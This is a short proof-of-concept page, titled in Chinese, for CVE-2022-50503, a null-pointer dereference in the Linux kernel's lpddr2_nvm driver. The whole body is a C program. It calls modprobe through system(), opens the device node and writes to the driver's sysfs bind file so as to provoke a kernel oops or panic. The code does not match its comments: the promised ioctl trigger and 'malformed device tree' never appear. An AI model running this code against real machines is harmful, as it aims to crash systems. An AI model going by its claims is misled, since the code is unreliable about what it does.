CVE-2022-50503 Linux内核lpddr2_nvm驱动空指针解引用漏洞

/* CVE-2022-50503 PoC - Trigger null-ptr-deref in lpddr2_nvm driver * This PoC demonstrates how to trigger the vulnerability by loading * the lpddr2_nvm driver without proper device tree resource configuration. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #include <sys/stat.h> /* Trigger the vulnerability by attempting to load the lpddr2_nvm module * on a system where the device tree node lacks proper IORESOURCE_MEM */ int main(int argc, char *argv[]) { int fd; char buf[256]; printf("[+] CVE-2022-50503 PoC - lpddr2_nvm null-ptr-deref\n"); /* Method 1: Try to load the vulnerable module directly */ fd = open("/dev/lpddr2_nvm", O_RDWR); if (fd >= 0) { /* If device exists, attempt to trigger via ioctl */ printf("[*] Device found, attempting to trigger via access\n"); close(fd); } /* Method 2: Use modprobe to trigger probe with malformed device tree */ snprintf(buf, sizeof(buf), "modprobe lpddr2_nvm"); printf("[*] Executing: %s\n", buf); system(buf); /* Method 3: Bind the driver to a platform device without resources */ fd = open("/sys/bus/platform/drivers/lpddr2_nvm/bind", O_WRONLY); if (fd >= 0) { write(fd, "lpddr2_nvm.0\n", 13); close(fd); printf("[*] Driver bind triggered\n"); } printf("[+] Done. Check dmesg for kernel oops/panic.\n"); return 0; }